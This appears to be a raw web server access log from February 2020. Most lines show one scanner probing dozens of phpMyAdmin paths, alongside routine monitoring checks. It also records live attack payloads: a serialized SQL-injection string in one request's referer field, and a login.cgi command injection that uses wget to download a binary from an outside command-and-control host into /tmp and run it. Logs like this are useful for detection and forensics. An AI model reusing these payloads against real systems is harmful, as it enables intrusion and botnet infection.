129.204.56.213 - - [25/Feb/2020:10:31:39 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
129.204.56.213 - - [25/Feb/2020:10:31:39 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:39 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:41 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:42 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:42 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:43 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:43 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:43 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:43 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:46 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:47 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:47 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:47 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:47 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:49 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:50 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:51 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:51 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:51 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:51 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:52 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:54 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:54 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:55 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:55 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:55 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:58 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:58 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:59 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:59 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:59 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:31:59 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:00 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:02 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:02 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:03 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:03 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:04 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:04 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:06 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:07 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:07 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:07 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:07 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:08 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:10 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:11 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:11 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:12 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:13 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:14 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:14 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:15 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:15 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:18 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:18 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:19 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:19 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:19 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:19 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:20 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:21 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:22 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:23 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:23 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:26 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:26 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:27 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:27 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:27 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:27 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:30 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:30 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:31 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:31 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:31 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:31 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:33 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:34 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:34 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:35 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:36 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [25/Feb/2020:10:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.204.56.213 - - [25/Feb/2020:10:32:38 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:39 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:39 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:39 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:39 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:42 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:43 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:43 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:43 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:46 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:46 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:47 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:47 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:47 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:47 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:49 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:50 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:51 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:51 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:51 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:54 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
129.204.56.213 - - [25/Feb/2020:10:32:54 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
80.82.70.118 - - [25/Feb/2020:10:33:36 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
212.91.246.72 - - [25/Feb/2020:10:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.82.70.118 - - [25/Feb/2020:10:38:31 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
212.91.246.72 - - [25/Feb/2020:10:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.19.21.158 - - [25/Feb/2020:10:47:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:10:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.160.180.26 - - [25/Feb/2020:10:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:10:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.136.121.33 - - [25/Feb/2020:10:49:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:10:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [25/Feb/2020:10:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [25/Feb/2020:10:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.76.154.170 - - [25/Feb/2020:10:53:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:10:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
